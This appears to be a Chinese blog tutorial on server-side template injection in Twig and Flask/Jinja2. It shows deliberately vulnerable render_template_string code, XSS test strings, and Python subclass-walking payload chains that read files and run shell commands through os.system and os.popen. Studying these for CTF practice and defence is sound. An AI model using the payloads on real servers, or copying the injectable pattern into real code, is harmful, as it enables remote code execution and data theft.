SSTI模板注入

原文链接:

SSTI(模板注入)基础总结 - 简书 (jianshu.com)

ctf之WEB练习三 - 渗透测试中心 - 博客园 (cnblogs.com)

SSTI基础:

SSTI“Server Side Template Injection" 服务端模板注入

主要内容

模板是什么

模板注入原理

Flask的介绍和利用

原理

模板是什么?

模板可以理解为一段固定好格式,等着你来填充信息的文件。

 模板注入的基本原理

 用户输入非法字符,代码会将其运行,如

<?php
    require_once(dirname(__FILE__).'/../lib/Twig/Autoloader.php');
    Twig_Autoloader::register(true);
    $twig = new Twig_Environment(new Twig_Loader_String());
    $output = $twig->render("Hello {$_GET['name']}"); // 将用户输入作为模版内容的一部分
    echo $output;
?>

用户输入 name=<script>alert(1)</script> 就会发生xss漏洞

不同的模板会有不同的语法,一般使用Detect-Identify-Expoit的利用流程。

如何识别不同的模板

模板基础与利用

1.python-Flask

Flask使用Jinja2这个渲染引擎,在Jinja2中,以{{ }} 作为变量包裹标识符 

1.路由

通过@的注解方式,将资源和函数对应起来

from flask import flask 
@app.route('/index/')
def hello_word():
    return 'hello word'

app.route()装饰器作用:将函数与url绑定,当url为 http:// ip:port/ index时,flask就会调用hello_word函数

2.渲染

渲染有两种方式

1.render_template 渲染文件
return render_template('index.html')



2.render_template_string 渲染字符串
html = '<h1>This is index page</h1>'
return render_template_string(html)

3.模板使用

示例1:

文件结构:在网站的根目录下新建一个templates文件夹,放html模板文件

文件1.

<!--/templates/index.html-->
<h1>{{content}}</h1>

文件2.

#test.py
from flask import *
@app.route('/index/')
def user_login():
    return render_template('index.html',content='This is index page.')

test.py 的意思是 当用户访问 http://ip:port/index 时,程序调用user_login()函数,这个函数又将index.html中content变量的值初始化为 This is index page. ; render_template 函数就是对index.html进行渲染(渲染方式就是<h1>{{content}}</h1>)

示例2

@app.route('/test/')
def test():
    code = request.args.get('id')
    html = '''
        <h3>%s</h3>
    '''%(code)
    return render_template_string(html)

当用户访问 http://ip:port/test时,可以给他传一个名为id的变量,这个id会被解析成html代码使用;

当 id = 1</h3> <script>alert(1)</script> <h3>1 时,就发生了xss攻击

解决:对用户输入的字符进行编码转义

@app.route('/test/')
def test():
    code = request.args.get('id')
    return render_template_string('<h1>{{ code }}</h1>',code=code)

4.利用方法

首先,Flask中有一些全局变量,如

{{config}}
{{requests.environ}}

解题思路:通过python对象的继承,用魔术方法一步步找到可利用的方法去执行

找到父类<type 'object'> -> 寻找子类 -> 找关于命令执行或者文件操作的模块

对象的魔术方法:

__class__ 用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析

__base__ 返回该对象继承的基类
// __base__ 和 __mro__ 都是用来寻找基类的


__subclasses__ 每个新类都保留了子类的引用,这个方法返回这个类中仍然可用的引用列表
//搜索可用的模块
__init__ 初始化类,返回的类型是function
__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
      
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象

5.利用过程

简答的演示

#获取''字符串的所属对象
>>> ''.__class__
<class 'str'>

#获取str类的父类
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

#获取object类的所有子类
>>> ''.__class__.__mro__[1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>...
#有很多类,后面省略

我们需要做的是从所有可以用的模块中寻找需要的类,通过数组的下标获取,然后执行。 

1.文件读取

可用的类有 第41个 file类

''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()

第91个  <class '_frozen_importlib_external.FileLoader'>

''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")

怎么知道他的目录结构? dirsearch扫一下 

 2.命令执行

命令执行需要用到os模块的类

寻找os模块类的python脚本如下:

num = 0
for item in ''.__class__.__mro__[1].__subclasses__():
    try:
         if 'os' in item.__init__.__globals__:
             print (num,item)
         num+=1
    except:
        print ('-')
        num+=1

 假设输出的编号为x,则payload为

''.__class__.__mro__[1].__subclasses__()[x].__init__.__globals__['os'].system('ls')

包含os模块的类有:

<class 'site._Printer'>
<class 'site.Quitter'>



config.__class__.__init__.__globals__['os'].popen('ls ../').read()
##os.popen() 方法用于从一个命令打开一个管道。
##open() 方法用于打开一个文件,并返回文件对象

相当于是打开一个管道执行命令,然后将执行的结果作为文件对象交给.read()函数输出
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jjj34

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值